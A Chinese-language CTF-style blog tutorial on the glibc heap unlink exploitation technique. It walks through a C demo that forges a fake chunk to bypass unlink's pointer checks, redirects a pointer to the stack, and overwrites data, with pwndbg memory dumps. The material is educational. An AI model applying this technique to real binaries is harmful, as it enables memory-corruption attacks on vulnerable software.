gdb写文章系列hhh
借鉴学习的师傅们的文章 在此感谢师傅们的无私分享
1 2 3 4 https:// bbs.pediy.com/thread-224836 .htm https:// bbs.pediy.com/thread-247007 .htm https:// ctf-wiki.github.io/ctf-wiki/ pwn/linux/g libc-heap/unlink-zh/ https:// blog.csdn.net/Pwnpanda/ article/details/ 81369367
0x00 unlink 前面师傅们的文章已经写的很详尽了,我就不多说了,就先来简要介绍一下unlink好了
1.unlink的正常目的 unlink的目的就是为了拿出双向链表中的一个chunk
2.过程 在老版的unlink中是没有检查的,所作的工作也十分简单,借用下ctf-wiki的解释也就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0 )) \ malloc_printerr ("corrupted size vs. prev_size" ); \if (__builtin_expect (FD->bk != P || BK-> fd != P, 0 )) \ malloc_printerr (check_action, "corrupted double-linked list" , P, AV); \ if (__builtin_expect (P->fd_nextsize -> bk_nextsize != P, 0 ) \ || __builtin_expect (P->bk_nextsize -> fd_nextsize != P, 0 )) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)" , \ P, AV);
unlink的过程也就是 设置 P->fd->bk = P->bk,P->bk->fd = P->fd的过程,也就是我们正常对双向链表删除其中一个之后把其余两个链接起来的过程
而现在的unlink自然是加了检查:
检查chunk大小,即检查chunk_size==next_chunk->pre_size ? true:false;
检查链表指针指向,即检查P->fd->bk==P&&P->BK->fd==P ? true:false;
使用unlink的时机
利用条件
use after free,并且可以修改smallbin或者unsorted bin的fd和kb指针时
已知位置存在一个指针指向可以UAF的chunk
效果 可以使得UAF的chunk指向向前第三个chunk..有点乱,就是p->p-0x18这样子
思路
修改 fd 为 p - 0x18
修改 bk 为 p - 0x10
触发 unlink
p 处的指针会变为 p - 0x18。
0x01 利用方法 我们也借用Heap Exploitation系列的unlink来进行说明,这里我做了一点修改,我输出了chunk2的地址,并且做了一些输出说明
代码 先看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10 ]; }; int main () { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20 ]; chunk1 = malloc (0x80 ); chunk2 = malloc (0x80 ); printf ("[*]chunk1_addr : %p\n" , &chunk1); printf ("[*]chunk2_addr : %p\n" ,&chunk2); printf ("[*] chunk1 : %p\n" , chunk1); printf ("[*]chunk2 : %p\n" , chunk2); fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3 ); fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2 ); chunk2_hdr = (struct chunk_structure *)(chunk2 - 2 ); chunk2_hdr->prev_size = 0x80 ; chunk2_hdr->size &= ~1 ; free (chunk2); printf ("[*]chunk1 :%p\n" , chunk1); printf ("[*]chunk1[3] : %x\n" , chunk1[3 ]); chunk1[3 ] = (unsigned long long )data; strcpy (data, "Victim's data" ); printf ("%s\n" ,data); chunk1[0 ] = 0x002164656b636168LL ; printf ("%s\n" , data); return 0 ; }
程序运行结果 我们先运行一下程序看看程序的输出:
1 2 3 4 5 6 7 8 chunk1_addr : 0x7fffa0b55ff0 chunk2_addr : 0x7fffa0b55ff8 chunk1 : 0xb3a010 chunk2 : 0xb3a0a0 chunk1 :0x7fffa0b55fd8 chunk1 : a0b55fd8 hacked!
代码逻辑 代码逻辑很简单,程序先是创建了一个模拟free chunk
的结构体,然后创建了两个unsigned long long
的chunk,分配了两个0x80的内存. 之后进行了三次输出,分别输出了chunk1的地址和chunk1,chunk2的内容 随后进行了类型强转,这时我们就有了一个模拟free chunk
的fake chunk,并且chunk1我们还可以进行利用,意味着我们有了一个uaf的chunk即chunk1. 我们知道,chunk的指针给的是指向mem地址的,因此它后续的一些操作
1 2 3 fake_chunk = (struct chunk_structure *)chunk1;fake_chunk ->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd -> bk == Pfake_chunk ->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk -> fd == P
小实例 在这里便于理解我写了一个小的demo来解释一些指针的加减,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> int main () { long long *chunk1,*chunk2; chunk1=malloc (0x80 ); chunk2=malloc (0x80 ); chunk1=100 ; chunk2=200 ; printf ("%p\n" ,&chunk1); printf ("%p\n" ,chunk1); printf ("%p\n" ,&chunk2); printf ("%p\n" ,chunk2); printf ("%p\n" ,chunk1-3 ); printf ("%p\n" ,chunk1-2 ); printf ("%p\n" ,chunk1-1 ); printf ("%p\n" ,&chunk1-3 ); printf ("%p\n" ,&chunk1-2 ); printf ("%p\n" ,&chunk1-1 ); }
我们编译运行一下:
1 2 3 4 5 6 7 8 9 10 11 '╰─# ./test 0x7ffdd51db3f8 0x64 0x7ffdd51db400 0xc8 0x4c 0x54 0x5c 0x7ffdd51db3e0 0x7ffdd51db3e8 0x7ffdd51db3f0
可以看到每次指针在做减法运算时地址其实每次减8,即
&str -1=str_addr - 8
程序分析 这时我们再来看看结构体
1 2 3 4 5 6 7 struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10 ]; };
我们知道正常chunk的指针是指向mem的,因此我们的chunk_structure就是指向mem的也就是chunk1的地址,我们调试一下.
1 2 3 4 5 6 7 8 9 10 11 0x00000000004006cc <+102 >: mov edi ,0x40089e 0x00000000004006d1 <+107 >: mov eax ,0x0 0x00000000004006d6 <+112 >: call 0x400530 <printf@plt> 0x00000000004006db <+117 >: mov rax ,QWORD PTR [rbp -0x38 ] 0x00000000004006df <+121 >: mov rsi ,rax 0x00000000004006e2 <+124 >: mov edi ,0x4008ae 0x00000000004006e7 <+129 >: mov eax ,0x0 0x00000000004006ec <+134 >: call 0x400530 <printf@plt> 0x00000000004006f1 <+139 >: mov rax ,QWORD PTR [rbp -0x40 ] 0x00000000004006f5 <+143 >: mov QWORD PTR [rbp -0x30 ],rax => 0x00000000004006f9 <+147 >: lea rax ,[rbp -0x40 ]
我在main_139行处下了断点,也就是第一次强转的地方,然后让第一次强转结束,这时看一下内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> p/x chunk1 $6 = 0x602010 pwndbg> p/x fake_chunk $7 = 0x602010 pwndbg> x/10 gx 0x602010 0x602010 : 0 x0000000000000000 0 x0000000000000000 0x602020 : 0 x0000000000000000 0 x0000000000000000 0x602030 : 0 x0000000000000000 0 x0000000000000000 0x602040 : 0 x0000000000000000 0 x0000000000000000 0x602050 : 0 x0000000000000000 0 x0000000000000000 pwndbg> x/10 gx 0x602010 -16 0x602000 : 0 x0000000000000000 0 x0000000000000091 0x602010 : 0 x0000000000000000 0 x0000000000000000 0x602020 : 0 x0000000000000000 0 x0000000000000000 0x602030 : 0 x0000000000000000 0 x0000000000000000 0x602040 : 0 x0000000000000000 0 x0000000000000000
可以看到chunk_size是0x91,因为我们申请了0x80的内存,加上前面的16字节,然后和16位对齐,加一位标志位就刚刚好是0x91,此时的fake_chunk
1 2 3 4 5 6 7 $22 = { prev_size = 0 , size = 0 , fd = 0 x0, bk = 0 x0, buf = "\0 00\0 00\0 00\0 00\0 00\0 00\0 00\0 00\0 00" }
然后我们把后两步对于fd指针和bk指针的操作走完,再看一下内存
1 2 3 4 5 6 pwndbg> x/10 gx 0x602000 0x602000 : 0 x0000000000000000 0 x0000000000000091 0x602010 : 0 x0000000000000000 0 x0000000000000000 0x602020 : 0 x00007fffffffe5d8 0 x00007fffffffe5e00x602030 : 0 x0000000000000000 0 x0000000000000000 0x602040 : 0 x0000000000000000 0 x0000000000000000
此时的fake_chunk:
1 2 3 4 5 6 7 $24 = { prev_size = 0 , size = 0 , fd = 0 x7fffffffe5d8, bk = 0 x7fffffffe5e0, buf = "\0 00\0 00\0 00\0 00\0 00\0 00\0 00\0 00\0 00" }
我们看一下fd指针和bk指针的指向内存:
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg > x/10 gx 0 x7fffffffe5d80x7fffffffe5d8 : 0 x00007ffff7ffe168 0 x00000000000000030x7fffffffe5e8 : 0 x00000000004006f1 0 x00000000006020100x7fffffffe5f8 : 0 x00000000006020a0 0 x00000000006020100x7fffffffe608 : 0 x0000000000000000 0 x00000000004007f00x7fffffffe618 : 0 x0000000000400570 0 x00007fffffffe710pwndbg > x/10 gx 0 x7fffffffe5e00x7fffffffe5e0 : 0 x0000000000000003 0 x00000000004006f10x7fffffffe5f0 : 0 x0000000000602010 0 x00000000006020a00x7fffffffe600 : 0 x0000000000602010 0 x00000000000000000x7fffffffe610 : 0 x00000000004007f0 0 x00000000004005700x7fffffffe620 : 0 x00007fffffffe710 0 xd26463308dde9200
此时的fake_chunk_fd:
1 2 3 4 5 6 7 $26 = { prev_size = 140737354129768 , size = 3 , fd = 0 x4006f1 < main+ 139 > , bk = 0 x602010, buf = "\2 40 `\0 00\0 00\0 00\0 00\0 00\0 20 " }
fake_chunk->bk:
1 2 3 4 5 6 7 $27 = { prev_size = 3 , size = 4196081 , fd = 0 x602010, bk = 0 x6020a0, buf = "\0 20 `\0 00\0 00\0 00\0 00\0 00\0 00" }
此时fake_chunk->fd->bk=chunk1 fake_chunk->bk->fd=chunk1 成功绕过指针指向检测 这里我们重新看看之前都做了什么操作
1 2 3 fake_chunk = (struct chunk_structure *)chunk1;fake_chunk ->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd -> bk == Pfake_chunk ->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk -> fd == P
先让fake_chunk指向chunk1,然后把fake_chunk的fd指向chunk1-3的位置,这个位置正好能让fake_chunk->fd->bk=fake_chunk(chunk1),第三号同理,这时我们就成功通过了unlink的检测.
然后我们就需要看size的检测了,这是现在栈里的布局
1 2 3 4 5 6 7 8 9 10 11 pwndbg > stack 10 00 :0000 │ rsp 0 x7fffffffe5f0 —▸ 0 x602010 ◂— 0 x001 :0008 │ 0 x7fffffffe5f8 —▸ 0 x6020a0 ◂— 0 x002 :0010 │ 0 x7fffffffe600 —▸ 0 x602010 ◂— 0 x003 :0018 │ 0 x7fffffffe608 ◂— 0 x004 :0020 │ 0 x7fffffffe610 —▸ 0 x4007f0 (__libc_csu_init) ◂— push r1505 :0028 │ 0 x7fffffffe618 —▸ 0 x400570 (_start) ◂— xor ebp, ebp06 :0030 │ 0 x7fffffffe620 —▸ 0 x7fffffffe710 ◂— 0 x107 :0038 │ 0 x7fffffffe628 ◂— 0 xd26463308dde920008 :0040 │ rbp 0 x7fffffffe630 —▸ 0 x4007f0 (__libc_csu_init) ◂— push r1509 :0048 │ 0 x7fffffffe638 —▸ 0 x7ffff7a2d830 (__libc_start_main+240 ) ◂— mov edi, eax
后面要进行的操作是这样的:
1 2 3 4 5 6 7 8 9 10 chunk2_hdr = (struct chunk_structure *)(chunk2 - 2 ); chunk2_hdr -> prev_size = 0 x80; chunk2_hdr -> size &= ~1 ; free(chunk2);
鉴于我们要用unlink操作,因此我们要把pre_size设为之前的chunk的size,然后把chunk2 free掉,下面就是进行Unlink操作了,free掉之后的栈里是这样的: 1 2 3 4 5 6 7 8 00 :0000 │ rsp 0 x7fffffffe5f0 —▸ 0 x7fffffffe5d8 —▸ 0 x400570 (_start) ◂— xor ebp, ebp01 :0008 │ 0 x7fffffffe5f8 —▸ 0 x6020a0 ◂— 0 x002 :0010 │ 0 x7fffffffe600 —▸ 0 x602010 ◂— 0 x003 :0018 │ 0 x7fffffffe608 —▸ 0 x602090 ◂— 0 x8004 :0020 │ 0 x7fffffffe610 —▸ 0 x400800 (__libc_csu_init) ◂— push r1505 :0028 │ 0 x7fffffffe618 —▸ 0 x400570 (_start) ◂— xor ebp, ebp06 :0030 │ 0 x7fffffffe620 —▸ 0 x7fffffffe710 ◂— 0 x107 :0038 │ 0 x7fffffffe628 ◂— 0 x8d2094d70fe4fc00
可以看到我们已经成功的把chunk1的地址劫持到了0x7ffffffe5d8的位置,内存空间如下:
1 2 3 4 5 6 7 pwndbg > x/11 gx 0 x7fffffffe5d8-16 0x7fffffffe5c8 : 0 x0000000000000000 0 x00007fffffffe6300x7fffffffe5d8 : 0 x0000000000400570 0 x00007fffffffe7100x7fffffffe5e8 : 0 x0000000000400753 0 x00007fffffffe5d80x7fffffffe5f8 : 0 x00000000006020a0 0 x00000000006020100x7fffffffe608 : 0 x0000000000602090 0 x00000000004008000x7fffffffe618 : 0 x0000000000400570
这时候我们再看chunk[3],也就是chunk+3
1 2 3 4 5 6 7 pwndbg > x/11 gx 0 x7fffffffe5d8+24 0x7fffffffe5f0 : 0 x00007fffffffe5d8 0 x00000000006020a00x7fffffffe600 : 0 x0000000000602010 0 x00000000006020900x7fffffffe610 : 0 x0000000000400800 0 x00000000004005700x7fffffffe620 : 0 x00007fffffffe710 0 x8d2094d70fe4fc000x7fffffffe630 : 0 x0000000000400800 0 x00007ffff7a2d8300x7fffffffe640 : 0 x0000000000000000
chunk[3]的地址也已经变成了chunk[1]的地址,然后就是最后的几个操作了
1 2 3 4 5 6 7 8 9 chunk1 [3 ] = (unsigned long long)data ; strcpy(data , "Victim's data "); printf("%s\n" ,data ); // Overwrite victim's data using chunk1 chunk1[0 ] = 0x002164656b636168LL; printf("%s\n" , data );
先是给chunk[3]赋值为”Victim’s data”,此时的栈:
1 2 3 4 5 6 7 8 │ rdx rsp 0x7fffffffe5f0 —▸ 0x7fffffffe610 ◂— "Victim's data" 01 :0008 │ 0x7fffffffe5f8 —▸ 0x6020a0 ◂— 0x0 02 :0010 │ 0x7fffffffe600 —▸ 0x602010 ◂— 0x0 03 :0018 │ 0x7fffffffe608 —▸ 0x602090 ◂— 0x80 04 :0020 │ rax 0x7fffffffe610 ◂— "Victim's data" 05 :0028 │ 0x7fffffffe618 ◂— 0x6174616420 /* ' data' */06 :0030 │ 0x7fffffffe620 —▸ 0x7fffffffe710 ◂— 0x1 07 :0038 │ 0x7fffffffe628 ◂— 0x8d2094d70fe4fc00
chunk1的内容:
1 2 pwndbg> x/s chunk10 x7fffffffe610: "Victim's data"
我们的chunk1已经改成了Victim's data
然后进行chunk1[0]的赋值,此时的栈:
1 2 3 4 5 6 7 8 00 :0000 │ rsp 0 x7fffffffe5f0 —▸ 0 x7fffffffe610 ◂— 0 x2164656b636168 /* 'hacked!' */01 :0008 │ 0 x7fffffffe5f8 —▸ 0 x6020a0 ◂— 0 x002 :0010 │ 0 x7fffffffe600 —▸ 0 x602010 ◂— 0 x003 :0018 │ 0 x7fffffffe608 —▸ 0 x602090 ◂— 0 x8004 :0020 │ rax 0 x7fffffffe610 ◂— 0 x2164656b636168 /* 'hacked!' */05 :0028 │ 0 x7fffffffe618 ◂— 0 x6174616420 /* ' data' */06 :0030 │ 0 x7fffffffe620 —▸ 0 x7fffffffe710 ◂— 0 x107 :0038 │ 0 x7fffffffe628 ◂— 0 x8d2094d70fe4fc00
此时的data:
1 2 pwndbg > x/s data 0x7fffffffe610 : "hacked!"
Over~